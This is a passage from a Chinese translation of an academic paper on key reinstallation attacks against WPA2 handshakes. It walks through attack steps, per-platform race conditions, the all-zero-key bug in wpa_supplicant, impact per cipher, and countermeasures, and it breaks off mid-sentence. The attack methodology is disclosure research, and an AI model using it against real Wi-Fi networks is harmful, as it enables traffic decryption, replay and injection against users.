802.11i的修订没有一个正式的描述Supplicant如何实现四次握手。相反，它只提供了如何实现的伪代码，并没有说明握手包将在何时被处理。幸运的是，802.11r略微扩展了四次握手，并详细描述了请求状态机该如何实现。图2包括了这个状态机的简单描述。
当第一次连接一个网络并且开始四次握手的时候，状态机会进入PTK_INIT状态。在这里，它将初始化PMK。当Supplicant接收到信息1的时候，会进入PTK-START阶段。这个经常在第一次连入一个网络的时候，或者是在前一个四次握手完成之后，会话密钥需要更新的时候。当进入PTK-START阶段，Supplicant会随机生成一个SNonce，计算一个临时PTK（TPTK），并且在信息2中将SNonce发送给Authenticator。Authenticator随后会回复Message
3，其将在MIC和重传计数器有效的时候被Supplicant所接受。如果成功，将进入PTK-NEGOTIATING状态，在这里若是TPTK和PTK相同时，Supplicant会发送Message
4给Authenticator。紧接着，就会进入PTK-DONE阶段，在这里PTK和GTK都会被装载，并且被用在数据保密协议以及密钥管理请求的完整性。最终，它会打开802.1x的端口，让Supplicant能够正常接收和发送数据包。注意，这个状态机会在Authenticator没接收到信息2和4的时候，分别重复发送信息1和3。
我们确认802.11r的状态机符合在802.11i的修订中通过文字描述的状态机。最重要的是，我们能够进行重装密钥攻击的两个要素。第一，802.11i的状态机中，AP会在没有接受到回复的时候重传消息1和3。因此，客户端必须接受这重传的信息1和3，来和802.11r的状态机相匹配。更多的，802.11i状态机要求客户端在接受并且回复Message
3之后要装载PTK。这点也和802.11r中提供的状态机相匹配。
**3.2 密钥重载攻击**
我们的密钥重载攻击现在很容易理解：因为Supplicant即使在PTK-Done阶段，依旧持续接受重传的Message3，我们就可以强制重载PTK。更确切地说，我们第一步在Supplicant和Authenticator中建立一个中间人（MitM）的身份。我们是用这个中间人的身份来进行Message
3的重放，并阻止Authenticator接受Message 4。这就导致了，当重放Message
3的时候，Supplicant就会重载一个已经被使用过的PTK。反过来说，这个会重置被用在数据保密协议中的Nonce。取决于不同协议的使用，这有可能造成数据包的重放、解密以及伪造。在6.1节中，我们会详细描述Nonce的重用会在不同协议中有什么实际的影响。
在攻击实践中，可能会遇到一些问题。首先，不是所有Wi-Fi设备都正确实现了状态机。特别是Windows和iOS，它们不接受Message
3的重传。这和802.11标准是相违背的。总的来说，这些错误的实现并不会被我们的针对四次握手的密钥重载攻击所影响。不幸的是，从防御者的角度来说，iOS和Windows设备依旧会被我们针对组密钥的攻击所影响。另外，因为他们都支持802.11r，因此他们依旧有可能被针对AP的密钥重载攻击所影响。
第二个主要障碍是我们需要在AP和Client中获得一个中间人（MitM）的身份。这可能不能通过使用一个不同MAC地址的恶意AP在真实AP和Client间转发数据包来实现。在2.3节中提到，会话密钥（session
key）是基于Client和AP的MAC地址来生成的，这意味着不同的MAC会生成不同的密钥。这会导致握手过程以及攻击过程的失败。为了解决这个问题，我们可以部署基于频段的中间人攻击，在不同频段部署和目标AP相同MAC的恶意AP来实现。这个保证了Client和AP能产生一样的会话密钥。
第三个障碍是某些实现在PTK已经被加载的时候，只接受被数据保密协议所保护的数据包。这对我们的攻击是一个问题，因为Authenticator会在不加密的情况下重传Message
3。这意味着这些重传信息会被Supplicant所忽略。即使这看起来会阻碍我们的攻击，但是我们发现了一个技术手段来绕过这个问题（3.4节）
在接下来的两节中，我们会描述如何使用我们的密钥重载攻击在不同情况下来攻击四次握手实现的细节。更确切地说，我们会先描述在Client（受害者）接受明文重传Message
3的情况。然后我们会演示对只接受加密重传Message
3的客户端的攻击。表1第6列里总结了哪些设备会在针对四次握手的不同的密钥重载攻击中受影响。不同设备的表现取决于操作系统以及被使用的无线网络设备。例如，即使Linux接受明文的重传Message
3，但是在某些Android设备里使用的网卡会拒绝它们。因此，使用不同无线芯片的Android设备事实上可能会接受明文的重传Message 3。
表1
**3.3 明文重传Message 3**
如果受害者在加载完会话密钥之后，依旧接受明文重传Message
3的话，我们的密钥重载攻击就很简单了。首先，攻击者会使用基于频段的中间人攻击，因此她可以控制握手包。然后她能够阻止Authenticator接受Message
4。这就是图4里的第一阶段。在发送Message
4之后很快，受害者就会装载PTK以及GTK密钥。在这种情况下，受害者依然会打开802.11x端口，并且开始传输正常数据。注意一点，在数据保密协议中的第一个数据包使用的Nonce是1。然后，在攻击的第三阶段，Authenticator会因为没有收到Message
4而重传Message 3。攻击者可以转发重传Message
3给受害者，导致它重新装载PTK和GTK。总的来说，这样会重置数据保密协议使用的Nonce和防重传计数器。注意一点，攻击者不能够重放旧的Message
3，因为EAPOL的重传计数器没有被刷新。我们现在暂时忽略攻击的阶段4。最后，当受害者传输它下一个数据帧时，数据保密协议就会使用旧的Nonce。这意味着攻击者可以在转发重传Message
3给受害者前等待任意的时间。因此，我们可以控制一定数量的会被重用的Nonce。更多的，攻击者可以一直对Client进行掉线攻击（deauthenticating），直至它重新连入网络并执行新的四次握手的过程。
图4
图4同样展示了我们的密钥重载攻击会在Message 4由于背景噪声而丢失的时候自发地出现。不同的是，接受明文重传Message
3的Client，可能会在没有攻击者的情况下重用Nonce。在这种情况下，一个攻击者可以选择性地阻塞Message 4，来区分攻击和随机背景噪声的干扰。
我们现在回到攻击的阶段4。这个阶段的目标是完成Authenticator部分的握手阶段。这不是很重要，因为受害者已经加载了PTK，这意味着它的下一个Message
4是被加密的。在Authenticator还未加载PTK时，它通常会拒绝已加密的Message
4。因此，802.11标准里揭示了Authenticator需要接受具有任意重传计数器的四次握手包，而不仅仅是最后一个。
接受Message 4的时候，Authenticator验证Key Replay Counter字段值在当前四次握手过程中使用的。
在实践中，我们发现一些AP确实接受具有旧的重传计数器的数据包。更确切的说，一些AP接受在被发送给Client数据包中使用，并且还未被Client发送回来的重传计数器。这些AP会接受旧的未加密的Message
4，就是图4里的重传计数器r+1。总的来说，这些AP会装载PTK，并且开始发送加密的单播数据帧给Client。
虽然图4只说明了Client发送的Nonce重用情况，我们的攻击同样允许我们重放数据帧。首先，在Client在阶段3中重载GTK之后，AP之后通过广播和多播的重传Message
3是可以被重放的。这是因为在重载密钥的时候，重传计数器也被重置了。第二，如果我们能够让AP装载PTK，我们同样能重放从AP单播给Client的数据帧。
我们确认，在图4中的攻击在MediaTek的Wi-Fi设备和特定版本的wpa_supplicant下是有效的。我们将在下一节解释我们攻击的另外一种实现。
**3.4 加密重传Message 3**
我们现在来解释我们是如何攻击那些一旦装载了PTK就只接受加密重传Message3的Client的。为了完成这个，我们利用一个使用了数据保密协议的实体在执行四次握手的时候的一个内在的竞争条件。
图5
就像先前说的，我们先来攻击Android上所实现的Supplicant。在这里，我们发现当明文重传Message 3被紧接着原始Message
3发送的时候，Android会接收这个重传信息。图5表明了为什么会发生这个情况，并且我们该如何利用它。注意一下就是，图5里并没有AP，因为AP的反应在上文中已经描述的很清楚了。在我们的攻击中，首先让Client和AP交换信息1,2。然后我们不将第一个Message
3转发给Client，而是等着AP重传第二个Message 3，在攻击的第二阶段，我们接连发送两个Message
3给Client。这时候，实现了数据保密协议的无线网卡还没有装载PTK，于是就将收到的两个包按顺序转发给CPU。这个实现了四次握手的CPU接受了第一个Message
3，并且让无线网卡装载PTK。在攻击的阶段4里，Client的CPU从接受序列里得到了第二个Message
3。及时它注意到了这个数据包并没有加密，但是Android和Linux例外允许未加密的EAPOL包，因此CPU会执行这个重传Message
3。因为网卡刚刚装载了PTK，因此这个回复会是在Nonce为1的情况下加密的。在这之后，CPU再次让无线网卡装载PTK。同时，无线网卡也会重置与PTK相关的Nonce和重传计数器，这意味着下一个数据帧会重用Nonce
1。
我们现在展示如何攻击OpenBSD，OS
X和macOS。这些设备只接受加密的重传Message3。就像攻击Android设备一样，我们在无线网卡和CPU间进行一个条件竞争。然而，我们现在的目标是四次握手重载密钥的过程。就像2.3解说的，所有的信息在重载密钥的时候都会经过数据保密协议的加密。
图6
图6描述了这种攻击的细节。注意同样的AP并没有被展示在图里，因为从上文我们很清楚AP的反应会是怎么样。一样的，攻击者使用一个基于频段的中间人（MitM）身份。她让受害者和她自己进行一个初始的四次握手，并且在握手成功之后，初始化执行PTK的重载。及时她只能看到加密的数据帧，但是四次握手的信息能通过它们独特的长度和地址来探查。在这时候，攻击就像在Android那里一样，在攻击的第二阶段，攻击者没有立刻转发第一个Message
3，而是等待AP重传Message 3，然后将这两个Message
3按顺序一起发送给受害者。网卡会使用当前的PTK来解密这两个信息，然后将它们转发到CPU的接收序列。在第三阶段，CPU会执行第一个Message
3，让网卡装载新的PTK。在第四阶段，CPU会从接收序列取出第二个Message 3。当PTK被装载的时候，OpenBSD，OS
X和macOS（在这里被称为CPU）会要求这个这个信息是加密的。然而，它们不会检查这个信息是使用哪个PTK密钥来加密的。因此，即使这个信息是通过旧的PTK来加密的，但是CPU依然会执行它。现在Message
4就会通过新的PTK和Nonce
1来加密并发送。在这之后，CPU会让网卡重载PTK，并且重置Nonce和重传计数器。最终，受害者发送的下一个数据帧就会使用新的PTK和Nonce
1来加密。我们确认这个攻击能在OpenBSD 6.1，OS X10.9.5和macOS Sierra 10.12里实现。
OpenBSD仅在无线网卡卸载加密的时候受影响。比如，iwn驱动和相关的设备支持硬件加密，因此他们就会收到攻击的影响。然而，rum驱动在四次握手中使用的是软件加密，那么就不会被影响。
这种攻击技术需要我们等待会话密钥被重载的那一刻。一些AP会在每个小时都重载一次会话密钥。在实践中，Client也会通过发送一个设置了Request和Pairwise位的EAPOL包给AP来请求重载会话密钥。很巧的是，Broadcom的路由器并不会验证这些数据帧的真伪（MIC），这就意味着攻击者可以强制Broadcom的AP开始重载密钥的握手。讲这些结合到一起，我们可以让重载密钥发生，这就意味着攻击者可以实施重载密钥攻击了。
**3.5 攻击PeerKey握手**
PeerKey握手和四次握手相关，被使用在当两个Client需要一个安全的方式来直接通信的时候。这由两个阶段组成。第一个阶段一个STSL和SMK的握手会被执行。它会在两个Client中协商密钥。而第二个阶段，一个新的会话密钥会通过主密钥产生，并且通过STK握手来传输。虽然这个协议没有被广泛的支持，但是它很好的展示了我们的密钥重载攻击良好适应性。
不出所料，SMK握手并不会被我们的攻击所影响。在这之后，主密钥的协商握手并没有被数据保密协议所保护，这就意味着它们没有Nonce和重传计数器来重置。然而，STK握手是基于四次握手的，它装载了用于数据保密协议的密钥。因此，他可以像四次握手那样被攻击。这种攻击在wpa_supplicant上通过了测试。为了实现这个测试，我们修改了一个wpa_supplicant实例，让它发送第二个（重传）Message
3。这个证实了未修改的wpa_supplicant会在STK握手中接收到重传Message
3时重载STK密钥。然而，我们没有发现其他支持PeerKey的设备。因此，我们针对PeerKey握手的攻击的影响范围很小。
**0x04 攻破组密握手**
在这一节，我们会在组密钥握手中，实现我们的重载密钥攻击。我们展示所有的Wi-Fi设备都会被这攻击所影响，让攻击者可以重放广播和组播的数据帧。
表2
**4.1 组密钥握手的细节**
网络会定期更新组密钥来保证只有近期认证的Client拥有这个密钥。在多数防御情况下，组密钥会在Client离开网络的时候进行更新。新的组密钥会通过组密钥握手进行分发，而这个握手过程已经被正式地证明是安全的。就像图2中展示的那样，握手过程由AP发送信息1给所有的Client开始。AP也会在没有收到回复的时候重传这个信息1。注意一下，EAPOL的重传计数器在这些重传信息中总是增加1。在我们的攻击中，我们的目标是收集一个重传的组信息1，阻止它到达Client，然后在一段时间后再转发给Client。这会让Client装载组密钥并重置重传计数器。
我们攻击的第一个条件是Client会在装载一个已经用过的组密钥的时候重置重传计数器。因为Client同样使用MLME-SETKEYS请求安装组密钥，这种情况就会发生。我们确定在实际中所有的Wi-Fi设备都会在装载一个用过的组密钥的时候重置重传计数器（表1列7）。因此，所有的Wi-Fi设备都会被我们随后的攻击所影响。
第二个攻击条件是我们必须能够收集一个仍然能被Client所接受的组信息1，然后这个信息中包含了已经被AP使用过的组密钥。如何去得到这个信息取决于AP何时开始使用新的组密钥。特别的事，AP将会在发送第一个组信息1之后立即使用新的组密钥，或者会延迟装载知道所有的Client都回复了组信息2表明收到了组信息1。表2第3列总结了一些AP的行为。注意根据标准，新的组密钥需要在收到所有Client的组信息2之后才能被装载。例如GTK会被延迟装载。当一个AP会立即装载新的组密钥的时候，我们的密钥重载攻击就很简单了。然而，如果AP延迟装载组密钥，我们的攻击就会更复杂。我们将会在4.2和4.3节中更详细地讨论这两种情况。
就像2.3节中所说，AP会广播和组播通过组密钥加密的数据帧。因为我们的密钥重载攻击目标是Client，这就意味着我们不能在加密的时候强制Client重用Nonce。然而，Client会在重载组密钥之后重置重传计数器，我们就可以重放这些数据帧给Client。
大多数AP每小时都会更新一次组密钥。一些网络会在每次有设备离开网络的时候更新组密钥。而且，Client可以通过发送一个设置了Request和Group位的EAPOL包来触发组密钥的握手。同样，Broadcom路由器并不会验证这些信息是否正确，这就意味着攻击者可以伪造它们来触发组密钥的更新。将这些结合起来，我们就可以假设大多数网络会进行组密钥的更新，然后我们就可以实行接下来所说的攻击。
**4.2 攻击快速装载密钥的AP**
****
图7
图7展示了当一个AP会在发送完给所有的Client的组信息1之后立即装载组密钥的情况下，我们的密钥重载攻击将会如何实现。注意组密钥的握手信息是通过当前PTK进行数据保密协议来加密的。作为组信息1的回复，Client会安装新的PTK然后返回组信息2。攻击者可以阻止AP接收这个组信息2，然后AP就会在攻击的第二阶段重传一个新的组信息1。我们现在等待一个广播数据帧的发送，然后将其转发给受害者。在这之后，我们转发阶段二中的重传组信息1。这样就会导致受害者会重载GTK，从而会重置相关的重传计数器。这就允许我们来重放广播的数据帧（阶段5）。Client会接收这个数据帧，因为它的重传计数器被重置了。
我们必须在一个广播数据帧之后再发送重传组信息1。这是因为组信息1包括了当前使用的组密钥的值以及重传计数器。因此，如果在广播帧之后发送，它就会包含一个更新过的重传计数器，那么我们就不能使受害者的重传计数器重置。
我们确定这种针对快速装载组密钥的AP在实践中是有效的。基于我们的实验，所有的Wi-Fi设备在连接这类AP之后，都会受到影响。
**4.3 攻击延迟装载密钥的AP**
通过组密钥握手来攻击延迟装载密钥的AP是比较复杂的。注意上一个攻击方式会因为图7中的第三阶段里那个广播数据包是由旧的组密钥加密而失败。因为在这种情况下，AP没有接收到从所有Client返回的组信息2，就不会装载新的组密钥，也就不能使旧的组密钥的重传计数器重置。
图8
图8展示了一个能够解决这个问题的方法。这种攻击的前两个阶段和上一个攻击类似。就是AP产生新的组密钥，然后将其传输给受害者，然后攻击者阻止AP接收Client发送的组信息2。这会导致AP重传组信息1，并且EAPOL的重传计数器为r
+ 1。在攻击的阶段三，我们转发旧的组信息2（重置计数器值为r）给AP。有趣的是，AP应该接受这个信息，及时它没有使用最新的重置计数器的值（r + 1）：
在接收组信息2的时候，AP需要验证重传计数器的值为曾经在组密钥握手过程中使用过的值。
这个标准不需要重传计数器的值和AP最新的值相匹配，而是需要和在组密钥握手过程用过的值中的一个相匹配即可，也就是任意的组信息1使用的重传计数器的值。在实践中我们发现，一些实现确实接受了这个旧的还未收到回复的重传计数器的值（表2列2）。因此，这个AP就会装载新的组密钥。在这种情况下，攻击就会想之前那个一样进行。直到第一个广播数据包被传输，我们就可以在攻击阶段5里进行重载组密钥的操作，然后在第6阶段中重放广播数据帧。
同样的，我们必须在一个广播数据帧之后再发送重传组信息1。不然我们的组信息1会包含一个更新过的重传计数器。
我们在一些延迟装载GTK的AP上进行了攻击测试，然后他们接受了先前在和Client发包时的还未收到回复的重传计数器（表2列2）。我们已经知道所有的Wi-Fi客户端会在重载GTK的时候重置重传计数器，因此他们都会被这种攻击所影响。最后，一个OpenBSD的AP并不会被影响，因为它是延迟装载GTK的，并且只接受最新的重传计数器而不是旧的。
**0x05 针对802.11RFT握手的攻击**
在这一节中，我们将介绍Fast BSS Transition（FT）握手并证明它的实现也受我们密钥重载攻击的影响。
**5.1 Fast BSS Transition（FT）握手**
802.11r修正案增加了Fast Basic
ServiceSet（BSS）Transition（FT）握手到802.11[5]。目的是减少客户端从一个AP到另一个相同网络的漫游时间。（例如相同的基本服务集）此外还需要一个握手，包括新的802.1x和四次握手（请看图2）。然而，因为FT握手依赖于网络之前连接中派生的主密钥，所以并不需要一个新的802.1x握手。此外它将四次握手的阶段嵌在了认证和重组框架里。
一个标准的FT握手如图9的阶段1所示。
图9 针对Fast BSS Transiton（FT）的密钥重载攻击， **注意它并不需要中间人，仅仅是能窃听和重放帧**
图中可以观察到FT
握手不像四次握手，它由请求者初始化。前面两个消息是认证请求（AuthReq）和认证响应（AuthResp）。它们的功能相当于四次握手的Message
1和2，产生随机数来作为nonces（新的会话密钥）。在这之后，客户端发送一个重新连接请求（ReassoReq），AP回复一个重新连接响应（ReassoResp）。它们和四次握手的Message
3和4相似，用于完成FT握手和传送GTK给客户端。
只有两个重新连接的消息是使用MIC（见图9）验证的，另外，FT握手中没有包含重传计数器的消息。相反地，在不同握手调用之间，FT握手依靠随机的SNonce和ANonce来提供重放保护[1,
§13.5.2]。
根据标准，在认证响应被发送或接收后必须安装PTK [ 1 ,
§13.9]。这在图9的第1阶段的灰色方框里已经标注了。另外，802.1x的逻辑端口只有在发送或接收重连请求后才会被打开，这保证了即使握手阶段PTK已经被安装了，AP和客户端也只有在握手完成后才能传输和接收数据帧。结合起来，表明了802.11r修正案里定义的FT握手并不容易受到密钥重载攻击。然而，通过实验和代码检查，我们发现大多数协议实现都是在发送或接收完重连响应后安装PTK和GTK。这种行为已经在图9的阶段1的黑色方框里阐述了。结果，在实际中，FT握手的实现容易受到密钥重载的攻击。
**5.2 针对AP的密钥重载攻击**
由于AP是在响应一个重连请求后才安装PTK，所以我们的目标是重放该帧。我们注意到，在实际中，AP必须接受重连请求的重传。这是因为AP的重连响应可能由于背景噪声而丢失，所以需要客户端重新发送一个请求。
图9显示针对FT握手的密钥重载攻击。我们并不需要中间人，只需能够窃听和注入帧就行。在攻击的第一阶段，我们让客户机和AP执行一个正常的AP握手，然后等待AP传输一个或多个加密数据帧，之后我们重放对AP的重连请求包，因为FT握手不包含重传计数器和有效的MIC，所以AP将会接受并处理该重放帧。最后，AP将会在攻击的阶段3重装PTK，随之重置相关的nonce和重传计数器。因此，AP发送的下一个数据帧将会用已经用过的nonce进行加密。和之前的密钥重载攻击类似，它可以让攻击者重放之前客户端发给AP的数据包。我们认为该攻击对FT
握手的危害尤其大是因为FT的消息不包含重传计数器，这使得攻击者可以不停地重放重连请求，不停地重置AP使用的nonce和重传计数器。
我们测试了三个支持802.11r的AP。第一个是用开源的hostapd，第二个联发科设计用于家用路由器，运行在Linksys
RE7000上的。第三个是一个专业的Aerohive AP。以上三个都受密钥重载攻击的影响。
由于背景噪声，重连响应包如果丢失，客户端将会自动重发重连请求包，这会导致AP密钥重载。也就是说，就算没有受到攻击，AP也已经重用nonces了。
FT握手没有使用数据保密协议进行额外的保护。特别是管理帧保护（MFP），它不保护认证和重连帧[1,
§12.6.19]。因此，FT握手是否启用MFP对密钥重载攻击的防御是微不足道的。
**5.3 滥用 BSS 传输请求**
FT握手只有从一个站点AP漫游到另一个站点AP时才会被实现。所以攻击发生的场景是有限制的。然而我们可以强制受害者进行FT握手，具体方法如下：
首先假设一个客户端连接到了一个支持802.11r的网络，其次在客户端的网络里没有其他的AP，我们就可以利用虫洞攻击[41]克隆一个真实的AP网络放在客户端附近。这使得客户端认为目标网络的另一个AP就在附近。最后我们向客户端发送一个BSS
Transiton Management
请求。该请求帧用于负载均衡[1,11.24.7]，并命令客户端漫游到另一个AP。BSS是一个未经验证的管理框架，所以可以被攻击者伪造。最后客户端接受该请求帧，并使用FT握手漫游到伪造的AP。
我们测试了支持802.11r的客户端，证明wpa_supplicant，iOS[8]，Windows
10[52]都会接受伪造的传输请求，并用FT握手漫游到另一个AP。
**0x06 评估和讨论**
在这一节中我们评估nonce重用对于802.11数据机密性协议的影响，展示攻击场景，和明确漏洞实现，解释为什么安全证明错过了我们的攻击，并提出了对策。
**6.1 802.11协议中重用nonce造成的影响**
Nonce重用造成的影响取决于使用的数据机密性协议。对于TKIP，CCMP，GCMP。三个协议使用了流密钥来加密帧。因此，对nonce的重用总是意味着重用keystream。这可以用于解密数据包。在我们的攻击中受害者的重放计数器会被重置，因此，这三种协议都容易受到重放攻击的攻击。
当使用TKIP时，我们也可以像下面一样恢复MIC。
1.我们滥用nonce重用来解密一个完整的TKIP包，包括它的MIC字段。
2.攻击Michael算法，使用给出的明文帧和MIC密文，来恢复MIC明文。因为TKIP使用了不同的MICkey在每个不同的消息传输方向，我们可以再特定的方向上伪造数据帧。方向的源头是被重装密钥攻击的设备。表3在提到TKIP时总结了这一点
当使用CCMP时，实际的攻击被限制为对包的重放和解密。尽管有一些消息伪造攻击讨论，但这些攻击是理论上的，不能用于伪造消息。
当使用GCMP时，其影响是灾难性的。
1.可以对包进行重放和解密。
2.有可能恢复身份验证密钥，它在GCMP中用于交互双方两个方向上的通信，因此，与TKIP不同的是，攻击者可以在两个方向上伪造数据包，鉴于GCMP预计将在未来几年在以WiGig的名字广泛采用，这是一个令人担忧的情况。
一般来说，对手总是可以在特定的通信方向上重放、解密或伪造数据包。具体的方向取决于握手的方式。例如,通过四次握手攻击客户端，它可以用于
1.重放单播和广播/多播帧给客户端
2.将客户端发送给AP的帧的解密
3.伪造客户端发送给AP的帧
表3：密钥重载攻击对使用了四次握手，FT，组密钥握手数据机密性的协议影响。每一个小格都展示了在这个方向上的数据帧可以被替换、解密或者伪造。
然而，攻击FT握手行为中攻击了AP而不是客户端，意味着，攻击者可以在相反的方向重放，解密或者伪造数据包。表3在附录总结中，考虑了握手被攻击。
最后，在不同的情况下，我们可以从客户机向AP发送消息(参见表3)，有趣的是，AP通常不是数据帧的最终目的地，而是将数据帧转发。这意味着我们可以伪造数据包发视频发送到任何连接到网络的设备上。根据AP的不同，甚至可以发送一个数据帧反射回到客户机。
**6.2 攻击场景**
在其他方面，密钥重载攻击可以让攻击者解密TCP数据包，知道传输序号，挟持TCP数据流注入任意数据。对wifi网络最常见的攻击之一是:在未加密的HTTP连接中注入恶意数据。
重放广播和多播帧的能力。比如：组帧，也是一个明显的安全违规。为了说明这将如何影响实际系统，请考虑在广播模式下运行的网络时间协议(NTP)。在这种模式下，客户端首先通过一个初始化过程，然后通过监听身份验证的广播NTP数据包来同步它的时钟。Malhotra和Goldberg已经表明，如果这些广播包被重放，受害者将永久被困在一个特定的时刻。使用我们的组密钥攻击可以重放这些帧，即使它们是通过一个受保护的无线网络发送的。注：以这种方式操作时间会破坏安全性，例如TLS证书，DNSSEC
、Kerberos身份验证和比特币。另外一个例子是xAP和xPL家庭验证协议。这些使用UDP广播包给设备发送命令。我们推测，密钥重载攻击允许我们重放这些命令。所有这些例子都说明，重播广播或多播帧的影响不应被低估。
**6.3 全零加密密钥漏洞**
密钥重载攻击对于四次握手的攻击发现了wpa_supplicant的特殊行为
（1）2.3版本和更低的版本在很容易受到攻击，没有任何意外的副作用。
（2）我们发现当接收到重新传输的message3时，2.4和2.5版本安装了一个全零加密密钥(TK)。这个漏洞似乎是由802.11标准中的一句话引起的，该标准间接建议在安装了TK之后，从内存清除它。
（3）版本2.6修复了这个bug，只在第一次接收Message 3时安装了TK。
然而，在修补这个bug时，只考虑了一个良性的场景：message3被重新传输是因为message
4由于背景噪音丢失。他们没有考虑到一个活跃的攻击者可以滥用这个漏洞来强制安装一个全为零的密钥。
因此，补丁并没有被视为严重的安全问题，也没有被移植到较老的版本中。独立于这个bug，所有版本的wpa_supplicant在接收时重传的message3时重新安装组密钥，也容易受到第四章所说的组密钥攻击。
**因为Android内部使用的是一个稍微修改过wpa_supplicant的版本，它也会受到这些攻击的影响。特别地，我们检查了Android
wpa_supplicant 关键源代码，并发现所有的Android6.0版本都包含了全零加密密钥的漏洞。android wear
2.0也很容易受到这次攻击。** 尽管第三方厂商可能会在他们的Android版本中使用不同的wpa_supplicant版本，但这说明大多数Android
6.0版本都容易受到攻击。换句话说，31.2%的Android智能手机很容易受到全零加密密钥漏洞的影响。最后，我们还从经验上证实，Chromium很容易受到全零加密密钥漏洞的影响。
**6.4 安全证明的限制**
有趣的是，我们的攻击并没有违反对四次握手和组密钥握手的安全属性。
（1）他人证明了四次握手提供了密钥保密和会话认证。密钥保密表明只有authenticator和supplicant将会拥有PTK。因为我们没有恢复PTK，所以这个仍然正确。会话身份验证使用了匹配会话的标准概念。直观地说，协议时安全的除非攻击者能依赖消息参与到完成这个协议中。我们的攻击，包括我们使用的基于信道的中间人攻击，并不违反此属性:我们只能通过转发(转发)消息使端点完成握手。
（2）他人证实了组密钥握手中key的有序性和key保密性。密钥有序性确保supplicant不安装旧的GTK。这在我们的攻击中仍然是正确的，因为我们重新安装了新的的组密钥。另外，我们不知道组密钥，因此我们的攻击也不违反密钥保密。
然而，这些证明并没有对密钥安装进行建模。不同的是，它们不会声明密钥重载使用了数据机密性协议。在实践中，这意味着相同的密钥可以多次安装，重置为了保证数据机密性中使用的nonce和重放计数器。
**6.5 对策**
密钥重载攻击可以在两层上减轻。
（1）实现数据保密协议的实体应该检查是否已经安装了已经使用的密钥。如果是这样，它不应该重置相关的nonces和重放计数器。这可以防止我们的攻击，至少攻击者不能临时欺骗去实现在重新安装当前的key之前安装一个不同的(旧的)密钥。特别是，当使用这个对策时，接收组密钥的握手重放计数器只会增加。否则，攻击者可以使用旧的Group
message1来临时安装一个旧的(不同的)密钥，然后使用现有的group message1重新安装新的组密钥。
（2）第二种解决方案是确保在握手过程中，在实现数据保密协议的实体中只安装一个特定的密钥。例如，在四次握手过程中生成的会话密钥应该只安装一次。当客户端接收到一个重新传输的message3时，它应该回复，但不能重新安装会话密钥。这可以通过在图3的状态机中添加一个布尔变量来实现。它被初始化为false，当在PKT-START时生成一个新的PTK时，它将被设置为true。如果在输入PTK-DONE且布尔值为true，则会安装PTK并将布尔值设置为false。如果在输入PTK-DONE时布尔值为false，则跳过PTK的安装。注：这正是2.6版本的wpa_supplicant实施的。
证明上述对策的正确性:我们NuSMV中对改进状态机进行了建模，并使用该模型证明了两个安装key总是被新的PTK分离。这意味着相同的密钥从未安装过两次。注：key保密性和会话身份验证已经在其他工作中得到了验证。
我们目前正在通知供应商关于我们发现的漏洞，这样他们就可以实施这些措施。我们所熟知的各种攻击的变种将会被提供给一个供应商名单。
**6.6 讨论**
从我们的结果中可以学到一些重要的教训。首先，协议的规范应该是足够精确和明确的。例如，当我们在第3.3节中攻击四次握手时，我们注意到802.11标准对于应该被接收的重放计数器的值是不明确的。更精确或更正式的规范将避免这种潜在的不正确的解释。
其次，这并不是因为协议已经被正式证明是安全的，它的实现也是安全的。在我们的例子中，在正式证明中使用的四次握手模式并没有完全反映现实。这是因为它没有定义何时应该安装协商的会话密钥。因此，不能保证只安装一次会话密钥。只有当我们读代码才发现正式模型并没有和显示情况相匹配，这些key可以重新安装。在这方面，正式的证明实际上可能会适得其反:一旦一个协议被正式验证，社区可能会对审核实际的实现变得不那么感兴趣。
有趣的是，一个模型可能是错误的，因此并不能准确地反映现实，也同样适用于我们自己的对策的证明。换句话说，不是因为我们在NuSMV中建模了对策，所有的实现现在都突然变得安全了。在现实中，我们的正式状态机可能无法准确地反映某些实现，供应商实现可能有缺陷，或者供应商可能受到未知的攻击的影响。因此，保持审计和测试实际实现是非常重要的。
另一个教训是，数据保密协议应该为nonce重用提供一些保护。例如，对于GCMP，可以在nonce重新使用时恢复身份验证密钥，而对于CCMP来说则不是这样。更广泛地说，应该使用一种nonce抵制重用加密模式，比如aes-siv、gcm-siv或hs1-siv 。这些减少了nonce重用的影响，也降低了key重新安装攻击的影响
**0x07 相关工作**
本章节我们将探索密钥重载攻击的历史，并对其它Wi-Fi和协议安全工作进行一个概述。
**7.1 密钥重载攻击**
我们并不清楚密钥重载攻击之前的一些研究，这很可能因为之前Wi-Fi握手包密码仍然易受到攻击。我们也是现在才发现长达14年的四次握手会受到密钥重载攻击的影响。此外，该缺陷不仅存在实现中，而是在协议规范（标准）本身。
电源故障也会导致nonce被重用。电源故障后，key从boot的非易失性存储器里被恢复，但是nonce会被重置为初始值。对于这个问题，Zenner
在参考文献[76]提出了解决方案。然而，和密钥重载攻击不同的是，触发电源故障不能通过网络进行远程实施。这需要对被攻击的设备进行物理访问。另外，电源故障不影响我们所研究的协议的安全性，因为这些握手协议是用来避免维护新旧连接的状态。
在参考文献[16]，Bock等人发现一些TLS服务器正在使用静态的nonces，这是由TLSrecord
layer协议的错误实现引起的。就是说，它不是由重装一个已经使用过的key引起的。此外，有些服务器使用随机产生的nonces，这意味着在实践中很可能因为生日悖论攻击导致nonce重用。相反，密钥重载攻击允许攻击者通过重放握手信息强制重用nonce，这是由于握手协议的规范（或实现）而导致的缺陷。
McGrew写了一篇关于产生IVs和nonces的最好实现的调查报告，并总结了它们是如何在协议中被生成和使用的[51]。然而在讨论安全风险时，没有提到密钥重载攻击。
另一个相关的工作是Beurdouche等人[14]和de Ruiter，
Poll[27]所进行的。他们发现了几个TLS实现存在缺陷的机器。错误的实现导致握手信息可以被重放。然而他们不能提供针对重放信息的攻击样例。我们猜想攻击者可以重放特定的信息欺骗站点重装一个TLS会话密钥，即密钥重载攻击存在可能性。我们认为能否实施实际的攻击在未来的工作里是很有趣的一点。
重用IVs在千疮百孔的WEP协议[17,18]里也存在问题。特别值得一提的是，Borisov等人发现某个无线网卡每次初始化时都将WEP
IV初始为零。因此，较小的IVs值产生的密钥流可能被重用[18]。然而，和密钥重载攻击不同的是，重置IV值不能被远程触发。
**7.2 Wi-Fi 和网络协议安全**
在对四次握手的一次正式分析中，何和Mitchell发现了一个拒绝服务漏洞[38,55]。这促使四次握手规范的改善[1]。2005年，何等人提出了一个关于四次握手和组密钥握手的正确性证明[39]。但是他们没有对密码选择和降级进行准确地建模。这使得Vanhoef和Piessens提出了针对四次握手的降级攻击[72]。在他们的攻击里，在传输Message
